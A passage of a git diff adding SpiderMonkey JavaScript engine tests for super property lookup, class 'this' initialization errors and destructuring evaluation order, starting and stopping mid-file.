+ }
+}
+Object.setPrototypeOf(base.prototype, new Proxy(Object.prototype, baseHandler));
+
+// make sure subclasses are not searched on static or super lookups.
+let childHandler = {
+ get() { throw "NO!"; },
+ set() { throw "NO!"; }
+}
+Object.setPrototypeOf(child.prototype, new Proxy(mid.prototype, childHandler));
+
+midInstance.testSuperInProxy();
+
+// Don't do this earlier to avoid the lookup of .prototype during class creation
+function midGet(target, p, receiver) {
+ assertEq(receiver, child);
+ receiver.called = true;
+}
+midStaticHandler.get = midGet;
+
+child.testStaticLookups();
+
+// Hey does super work in a proxy?
+assertEq(new Proxy(({ method() { return super.hasOwnProperty("method"); } }), {}).method(), true);
+
+// What about a CCW?
+var g = newGlobal();
+var wrappedSuper = g.eval("({ method() { return super.hasOwnProperty('method'); } })");
+assertEq(wrappedSuper.method(), true);
+
+// With a CCW on the proto chain?
+var wrappedBase = g.eval("({ method() { return this.__secretProp__; } })");
+var unwrappedDerived = { __secretProp__: 42, method() { return super.method(); } }
+Object.setPrototypeOf(unwrappedDerived, wrappedBase);
+assertEq(unwrappedDerived.method(), 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropSkips.js b/js/src/tests/non262/class/superPropSkips.js
new file mode 100644
index 0000000000..c9587c72f1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropSkips.js
@@ -0,0 +1,45 @@
+// Ensure that super lookups and sets skip over properties on the |this| object.
+// That is, super lookups start with the superclass, not the current class.
+
+// The whole point: an empty superclass
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); this.prop = "flamingo"; }
+
+ toString() { throw "No!"; }
+
+ testSkipGet() {
+ assertEq(super.prop, undefined);
+ }
+
+ testSkipDerivedOverrides() {
+ assertEq(super["toString"](), Object.prototype.toString.call(this));
+ }
+
+ testSkipSet() {
+ // since there's no prop on the chain, we should set the data property
+ // on the receiver, |this|
+ super.prop = "rat";
+ assertEq(this.prop, "rat");
+
+ // Since the receiver is the instance, we can overwrite inherited
+ // properties of the instance, even non-writable ones, as they could be
+ // skipped in the super lookup.
+ assertEq(this.nonWritableProp, "pony");
+ super.nonWritableProp = "bear";
+ assertEq(this.nonWritableProp, "bear");
+ }
+}
+
+Object.defineProperty(derived.prototype, "nonWritableProp", { writable: false, value: "pony" });
+
+let instance = new derived();
+instance.testSkipGet();
+instance.testSkipDerivedOverrides();
+instance.testSkipSet();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropStatics.js b/js/src/tests/non262/class/superPropStatics.js
new file mode 100644
index 0000000000..32624b5d28
--- /dev/null
+++ b/js/src/tests/non262/class/superPropStatics.js
@@ -0,0 +1,34 @@
+class base {
+ constructor() { }
+ static found() {
+ this.foundCalled = true;
+ }
+ static get accessor() {
+ assertEq(this, derived);
+ return 45;
+ }
+ notFound() { }
+}
+
+class derived extends base {
+ constructor() { }
+
+ static found() { throw "NO!"; }
+ static get accessor() { throw "NO!"; }
+
+ static test() {
+ assertEq(super["notFound"], undefined);
+ super.found();
+
+ // foundCalled is set on |derived| specifically.
+ let calledDesc = Object.getOwnPropertyDescriptor(derived, "foundCalled");
+ assertEq(calledDesc.value, true);
+
+ assertEq(super.accessor, 45);
+ }
+}
+
+derived.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropStrictAssign.js b/js/src/tests/non262/class/superPropStrictAssign.js
new file mode 100644
index 0000000000..4b5444a3cf
--- /dev/null
+++ b/js/src/tests/non262/class/superPropStrictAssign.js
@@ -0,0 +1,23 @@
+// While |super| is common in classes, it also works in object litterals,
+// where there is no guarantee of strict mode. Check that we do not somehow
+// get strict mode semantics when they were not called for
+
+// |undefined|, writable: false
+Object.defineProperty(Object.prototype, "prop", { writable: false });
+
+class strictAssignmentTest {
+ constructor() {
+ // Strict mode. Throws.
+ super.prop = 14;
+ }
+}
+
+assertThrowsInstanceOf(()=>new strictAssignmentTest(), TypeError);
+
+// Non-strict. Silent failure.
+({ test() { super.prop = 14; } }).test();
+
+assertEq(Object.prototype.prop, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superThisStrictNoBoxing.js b/js/src/tests/non262/class/superThisStrictNoBoxing.js
new file mode 100644
index 0000000000..f479ac036a
--- /dev/null
+++ b/js/src/tests/non262/class/superThisStrictNoBoxing.js
@@ -0,0 +1,31 @@
+class C {
+ get prop_this() { return this; }
+}
+
+var g_prop_this = 'prop_this';
+class D extends C {
+ super_prop() { return super.prop_this; }
+ super_elem() { return super[g_prop_this]; }
+}
+
+var barsym = Symbol("bar");
+
+// Test that primitive |this| values are not boxed, and undefined/null are not
+// globals for super.property.
+assertEq(new D().super_prop.call(3), 3);
+assertEq(new D().super_prop.call("foo"), "foo");
+assertEq(new D().super_prop.call(true), true);
+assertEq(new D().super_prop.call(barsym), barsym);
+assertEq(new D().super_prop.call(null), null);
+assertEq(new D().super_prop.call(undefined), undefined);
+
+// Ditto for super[elem]
+assertEq(new D().super_elem.call(3), 3);
+assertEq(new D().super_elem.call("foo"), "foo");
+assertEq(new D().super_elem.call(true), true);
+assertEq(new D().super_elem.call(barsym), barsym);
+assertEq(new D().super_elem.call(null), null);
+assertEq(new D().super_elem.call(undefined), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/class/uninitializedThisError.js b/js/src/tests/non262/class/uninitializedThisError.js
new file mode 100644
index 0000000000..658ef8002c
--- /dev/null
+++ b/js/src/tests/non262/class/uninitializedThisError.js
@@ -0,0 +1,53 @@
+function checkErr(f) {
+ var expected = "must call super constructor before using 'this' in derived class constructor";
+ try {
+ f();
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, "ReferenceError");
+ assertEq(e.message, expected);
+ }
+}
+class TestNormal extends class {} {
+ constructor() { this; }
+}
+checkErr(() => new TestNormal());
+
+class TestEval extends class {} {
+ constructor() { eval("this") }
+}
+checkErr(() => new TestEval());
+
+class TestNestedEval extends class {} {
+ constructor() { eval("eval('this')") }
+}
+checkErr(() => new TestNestedEval());
+
+checkErr(() => {
+ new class extends class {} {
+ constructor() { eval("this") }
+ }
+});
+
+class TestArrow extends class {} {
+ constructor() { (() => this)(); }
+}
+checkErr(() => new TestArrow());
+
+class TestArrowEval extends class {} {
+ constructor() { (() => eval("this"))(); }
+}
+checkErr(() => new TestArrowEval());
+
+class TestEvalArrow extends class {} {
+ constructor() { eval("(() => this)()"); }
+}
+checkErr(() => new TestEvalArrow());
+
+class TestTypeOf extends class {} {
+ constructor() { eval("typeof this"); }
+}
+checkErr(() => new TestTypeOf());
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/comprehensions/browser.js b/js/src/tests/non262/comprehensions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/comprehensions/browser.js
diff --git a/js/src/tests/non262/comprehensions/shell.js b/js/src/tests/non262/comprehensions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/comprehensions/shell.js
diff --git a/js/src/tests/non262/destructuring/array-default-class.js b/js/src/tests/non262/destructuring/array-default-class.js
new file mode 100644
index 0000000000..5aa9c579b1
--- /dev/null
+++ b/js/src/tests/non262/destructuring/array-default-class.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1322314;
+var summary = "Function in computed property in class expression in array destructuring default";
+
+print(BUGNUMBER + ": " + summary);
+
+function* g([
+ a = class E {
+ [ (function() { return "foo"; })() ]() {
+ return 10;
+ }
+ }
+]) {
+ yield a;
+}
+
+let C = [...g([])][0];
+let x = new C();
+assertEq(x.foo(), 10);
+
+C = [...g([undefined])][0];
+x = new C();
+assertEq(x.foo(), 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/array-iterator-close.js b/js/src/tests/non262/destructuring/array-iterator-close.js
new file mode 100644
index 0000000000..ed35135dba
--- /dev/null
+++ b/js/src/tests/non262/destructuring/array-iterator-close.js
@@ -0,0 +1,93 @@
+// Tests that IteratorClose is called in array destructuring patterns.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var iterable = {};
+
+ // empty [] calls IteratorClose regardless of "done" on the result.
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ return { done: true };
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ var [] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ var [] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // Non-empty destructuring calls IteratorClose if iterator is not done by
+ // the end of destructuring.
+ var [a,b] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+ var [c,] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls IteratorClose
+ function throwlhs() {
+ throw "in lhs";
+ }
+ assertThrowsValue(function() {
+ 0, [...{}[throwlhs()]] = iterable;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls IteratorClose with falsy "done".
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ // "done" is undefined.
+ return {};
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ assertThrowsValue(function() {
+ 0, [...{}[throwlhs()]] = iterable;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.next doesn't call IteratorClose
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ throw "in next";
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ assertThrowsValue(function() {
+ var [d] = iterable;
+ }, "in next");
+ assertEq(returnCalled, returnCalledExpected);
+
+ // "return" must return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ assertThrowsInstanceOf(function() {
+ var [] = iterable;
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/browser.js b/js/src/tests/non262/destructuring/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/destructuring/browser.js
diff --git a/js/src/tests/non262/destructuring/bug1396261.js b/js/src/tests/non262/destructuring/bug1396261.js
new file mode 100644
index 0000000000..5d16b09323
--- /dev/null
+++ b/js/src/tests/non262/destructuring/bug1396261.js
@@ -0,0 +1,44 @@
+// Ensure array or object literals with trailing property accessors are not
+// treated as nested destructuring patterns in assignment destructuring
+// contexts.
+
+// Array destructuring with normal element.
+[{a: 0}.x] = [];
+[[0].x] = [];
+
+// Array destructuring with spread element.
+[...{a: 0}.x] = [];
+[...[0].x] = [];
+
+// Object destructuring with normal property.
+({a: {b: 0}.x} = {});
+({a: [0].x} = {});
+
+// Object destructuring with spread property.
+({...{b: 0}.x} = {});
+({...[0].x} = {});
+
+// Object literal with initializer shorthand in destructuring context.
+assertThrowsInstanceOf(() => Function(`[{a = 0}.x] = [];`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`[...{a = 0}.x] = [];`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({a: {b = 0}.x} = {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({...{b = 0}.x} = {});`), SyntaxError);
+
+// Object destructuring with "eval" or "arguments" shorthand in strict mode.
+(function() {
+ "use strict";
+
+ // Ensure "eval" resp. "arguments" is not treated as an assignment.
+ [{eval}.x] = [];
+ [...{eval}.x] = [];
+ ({a: {eval}.x} = {});
+ ({...{eval}.x} = {});
+
+ [{arguments}.x] = [];
+ [...{arguments}.x] = [];
+ ({a: {arguments}.x} = {});
+ ({...{arguments}.x} = {});
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/constant-folding.js b/js/src/tests/non262/destructuring/constant-folding.js
new file mode 100644
index 0000000000..b5aa893215
--- /dev/null
+++ b/js/src/tests/non262/destructuring/constant-folding.js
@@ -0,0 +1,16 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(function () { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+// |true && a| is constant-folded to |a|, ensure the destructuring assignment
+// validation takes place before constant-folding.
+for (let prefix of ["null,", "var", "let", "const"]) {
+ assertSyntaxError(`${prefix} [true && a] = [];`);
+ assertSyntaxError(`${prefix} {p: true && a} = {};`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/cover-init-name-syntax.js b/js/src/tests/non262/destructuring/cover-init-name-syntax.js
new file mode 100644
index 0000000000..b37d8c2904
--- /dev/null
+++ b/js/src/tests/non262/destructuring/cover-init-name-syntax.js
@@ -0,0 +1,72 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// CoverInitName in arrow parameters.
+({a = 1}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+
+// CoverInitName in CoverParenthesizedExpressionAndArrowParameterList,
+// but not ArrowParameters.
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+
+// CoverInitName nested in array destructuring.
+[{a = 0}] = [{}];
+var [{a = 0}] = [{}];
+{ let [{a = 0}] = [{}]; }
+{ const [{a = 0}] = [{}]; }
+
+for ([{a = 0}] of []);
+for (var [{a = 0}] of []);
+for (let [{a = 0}] of []);
+for (const [{a = 0}] of []);
+
+function f([{a = 0}]) {}
+var h = ([{a = 0}]) => {};
+
+
+// CoverInitName nested in rest pattern.
+[...[{a = 0}]] = [{}];
+var [...[{a = 0}]] = [{}];
+{ let [...[{a = 0}]] = [{}]; }
+{ const [...[{a = 0}]] = [{}]; }
+
+for ([...[{a = 0}]] of []);
+for (var [...[{a = 0}]] of []);
+for (let [...[{a = 0}]] of []);
+for (const [...[{a = 0}]] of []);
+
+function f([...[{a = 0}]]) {}
+var h = ([...[{a = 0}]]) => {};
+
+
+// CoverInitName nested in object destructuring.
+({p: {a = 0}} = {p: {}});
+var {p: {a = 0}} = {p: {}};
+{ let {p: {a = 0}} = {p: {}}; }
+{ const {p: {a = 0}} = {p: {}}; }
+
+for ({p: {a = 0}} of []);
+for (var {p: {a = 0}} of []);
+for (let {p: {a = 0}} of []);
+for (const {p: {a = 0}} of []);
+
+function f({p: {a = 0}}) {}
+var h = ({p: {a = 0}}) => {};
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/duplicate-__proto__.js b/js/src/tests/non262/destructuring/duplicate-__proto__.js
new file mode 100644
index 0000000000..a8f76014e9
--- /dev/null
+++ b/js/src/tests/non262/destructuring/duplicate-__proto__.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring assignment.
+var a, b;
+({__proto__: a, __proto__: b} = {});
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "var".
+var {__proto__: a, __proto__: b} = {};
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "let".
+{
+ let {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Destructuring binding with "const".
+{
+ const {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Function parameters.
+function f1({__proto__: a, __proto__: b}) {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+f1({});
+
+// Arrow function parameters.
+var f2 = ({__proto__: a, __proto__: b}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f2({});
+
+// Arrow function parameters with defaults (initially parsed as destructuring assignment).
+var f3 = ({__proto__: a, __proto__: b} = {}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f3({});
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/iterator-primitive.js b/js/src/tests/non262/destructuring/iterator-primitive.js
new file mode 100644
index 0000000000..17d100367c
--- /dev/null
+++ b/js/src/tests/non262/destructuring/iterator-primitive.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f([]) {
+}
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ let [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ f(obj);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/order-super.js b/js/src/tests/non262/destructuring/order-super.js
new file mode 100644
index 0000000000..2bc534e23f
--- /dev/null
+++ b/js/src/tests/non262/destructuring/order-super.js
@@ -0,0 +1,701 @@
+var BUGNUMBER = 1204028;
+var summary = "Destructuring should evaluate lhs reference before rhs in super property";
+
+if (typeof assertEq === "undefined") {
+ assertEq = function(a, b) {
+ if (a !== b)
+ throw new Error(`expected ${b}, got ${a}\n${new Error().stack}`);
+ };
+}
+
+print(BUGNUMBER + ": " + summary);
+
+let logs = [];
+function log(x) {
+ logs.push(x);
+}
+
+let unwrapMap = new Map();
+function unwrap(maybeWrapped) {
+ if (unwrapMap.has(maybeWrapped))
+ return unwrapMap.get(maybeWrapped);
+ return maybeWrapped;
+}
+function ToString(name) {
+ if (name == Symbol.iterator)
+ return "@@iterator";
+ return String(name);
+}
+function logger(obj, prefix=[]) {
+ let wrapped = new Proxy(obj, {
+ get(that, name) {
+ if (name == "return") {
+ // FIXME: Bug 1147371.
+ // We ignore IteratorClose for now.
+ return obj[name];
+ }
+
+ let names = prefix.concat(ToString(name));
+ log("rhs get " + names.join("::"));
+ let v = obj[name];
+ if (typeof v === "object" || typeof v === "function")
+ return logger(v, names);
+ return v;
+ },
+ apply(that, thisArg, args) {
+ let names = prefix.slice();
+ log("rhs call " + names.join("::"));
+ let v = obj.apply(unwrap(thisArg), args);
+ if (typeof v === "object" || typeof v === "function") {
+ names[names.length - 1] += "()";
+ return logger(v, names);
+ }
+ return v;
+ }
+ });
+ unwrapMap.set(wrapped, obj);
+ return wrapped;
+}
+
+class C1 {
+ constructor() {
+ this.clear();
+ }
+ clear() {
+ this.values = {};
+ }
+}
+for (let name of [
+ "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
+ "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
+ "0", "1", "length"
+]) {
+ Object.defineProperty(C1.prototype, name, {
+ set: function(value) {
+ log("lhs set " + name);
+ this.values[name] = value;
+ }
+ });
+}
+class C2 extends C1 {
+ constructor() {
+ super();
+
+ let clear = () => {
+ logs = [];
+ this.clear();
+ };
+
+ // Array.
+
+ clear();
+ [
+ super.a
+ ] = logger(["A"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ clear();
+ [
+ super[ (log("lhs before name a"), "a") ]
+ ] = logger(["A"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Array rest.
+
+ clear();
+ [
+ ...super.a
+ ] = logger(["A", "B", "C"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a.join(","), "A,B,C");
+
+ clear();
+ [
+ ...super[ (log("lhs before name a"), "a") ]
+ ] = logger(["A", "B", "C"]);;
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a.join(","), "A,B,C");
+
+ // Array combined.
+
+ clear();
+ [
+ super.a,
+ super[ (log("lhs before name b"), "b") ],
+ ...super[ (log("lhs before name c"), "c") ]
+ ] = logger(["A", "B", "C"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before name b",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set b",
+
+ "lhs before name c",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set c",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+ assertEq(this.values.c.join(","), "C");
+
+ // Object.
+
+ clear();
+ ({
+ a: super.a
+ } = logger({a: "A"}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ clear();
+ ({
+ a: super[ (log("lhs before name a"), "a") ]
+ } = logger({a: "A"}));
+ assertEq(logs.join(","),
+ [
+ "lhs before name a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Object combined.
+
+ clear();
+ ({
+ a: super.a,
+ b: super[ (log("lhs before name b"), "b") ]
+ } = logger({a: "A", b: "B"}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs set a",
+
+ "lhs before name b",
+ "rhs get b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+
+ // == Nested ==
+
+ // Array -> Array
+
+ clear();
+ [
+ [
+ super[ (log("lhs before name a"), "a") ],
+ ...super[ (log("lhs before name b"), "b") ]
+ ]
+ ] = logger([["A", "B"]]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before name b",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b.length, 1);
+ assertEq(this.values.b[0], "B");
+
+ // Array rest -> Array
+
+ clear();
+ [
+ ...[
+ super[ (log("lhs before name a"), "a") ],
+ ...super[ (log("lhs before name b"), "b") ]
+ ]
+ ] = logger(["A", "B"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name a",
+ "lhs set a",
+
+ "lhs before name b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b.join(","), "B");
+
+ // Array -> Object
+ clear();
+ [
+ {
+ a: super[ (log("lhs before name a"), "a") ]
+ }
+ ] = logger([{a: "A"}]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+
+ "lhs before name a",
+ "rhs get @@iterator()::next()::value::a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Array rest -> Object
+ clear();
+ [
+ ...{
+ 0: super[ (log("lhs before name 0"), "0") ],
+ 1: super[ (log("lhs before name 1"), "1") ],
+ length: super[ (log("lhs before name length"), "length") ],
+ }
+ ] = logger(["A", "B"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before name 0",
+ "lhs set 0",
+
+ "lhs before name 1",
+ "lhs set 1",
+
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+ assertEq(this.values["0"], "A");
+ assertEq(this.values["1"], "B");
+ assertEq(this.values.length, 2);
+
+ // Object -> Array
+ clear();
+ ({
+ a: [
+ super[ (log("lhs before name b"), "b") ]
+ ]
+ } = logger({a: ["B"]}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "rhs get a::@@iterator",
+ "rhs call a::@@iterator",
+ "rhs get a::@@iterator()::next",
+
+ "lhs before name b",
+ "rhs call a::@@iterator()::next",
+ "rhs get a::@@iterator()::next()::done",
+ "rhs get a::@@iterator()::next()::value",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.b, "B");
+
+ // Object -> Object
+ clear();
+ ({
+ a: {
+ b: super[ (log("lhs before name b"), "b") ]
+ }
+ } = logger({a: {b: "B"}}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs before name b",
+ "rhs get a::b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.b, "B");
+
+ // All combined
+
+ clear();
+ [
+ super[ (log("lhs before name a"), "a") ],
+ [
+ super[ (log("lhs before name b"), "b") ],
+ {
+ c: super[ (log("lhs before name c"), "c") ],
+ d: {
+ e: super[ (log("lhs before name e"), "e") ],
+ f: [
+ super[ (log("lhs before name g"), "g") ]
+ ]
+ }
+ }
+ ],
+ {
+ h: super[ (log("lhs before name h"), "h") ],
+ i: [
+ super[ (log("lhs before name j"), "j") ],
+ {
+ k: [
+ super[ (log("lhs before name l"), "l") ]
+ ]
+ }
+ ]
+ },
+ ...[
+ super[ (log("lhs before name m"), "m") ],
+ [
+ super[ (log("lhs before name n"), "n") ],
+ {
+ o: super[ (log("lhs before name o"), "o") ],
+ p: {
+ q: super[ (log("lhs before name q"), "q") ],
+ r: [
